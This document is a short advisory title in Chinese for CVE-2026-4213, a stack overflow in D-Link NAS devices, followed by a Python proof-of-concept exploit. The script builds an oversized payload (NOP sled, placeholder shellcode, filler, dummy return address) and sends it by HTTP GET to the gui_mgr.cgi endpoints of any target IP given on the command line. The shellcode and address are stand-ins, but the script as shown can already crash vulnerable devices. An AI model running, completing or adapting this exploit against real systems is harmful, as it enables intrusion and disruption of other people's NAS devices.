CVE-2026-4213 D-Link多型号NAS设备栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-4213 PoC - D-Link NAS Buffer Overflow Target: /cgi-bin/gui_mgr.cgi Functions: cgi_myfavorite_del_user, cgi_myfavorite_verify """ import requests import sys TARGET_URL = "http://target:8080/cgi-bin/gui_mgr.cgi" def create_overflow_payload(length=1000): """Generate buffer overflow payload""" # NOP sled for better shellcode placement nop_sled = b'\x90' * 200 # Placeholder shellcode - should be replaced with architecture-specific payload shellcode = b'\xcc' * 100 # INT3 for debugging # Overflow pattern to reach return address overflow = b'A' * (length - len(nop_sled) - len(shellcode)) # Target return address (needs to be adjusted based on target) return_address = b'\x42\x42\x42\x42' return nop_sled + shellcode + overflow + return_address def exploit_cgi_myfavorite_del_user(target_ip): """Exploit cgi_myfavorite_del_user function""" url = f"http://{target_ip}:8080/cgi-bin/gui_mgr.cgi" payload = create_overflow_payload(1000) params = { 'cgi_myfavorite_del_user': payload.decode('latin-1') } try: response = requests.get(url, params=params, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {len(payload)}") return response.status_code except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def exploit_cgi_myfavorite_verify(target_ip): """Exploit cgi_myfavorite_verify function""" url = f"http://{target_ip}:8080/cgi-bin/gui_mgr.cgi" payload = create_overflow_payload(1000) params = { 'cgi_myfavorite_verify': payload.decode('latin-1') } try: response = requests.get(url, params=params, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {len(payload)}") return response.status_code except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2026_4213_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Starting CVE-2026-4213 exploitation against {target}") exploit_cgi_myfavorite_del_user(target)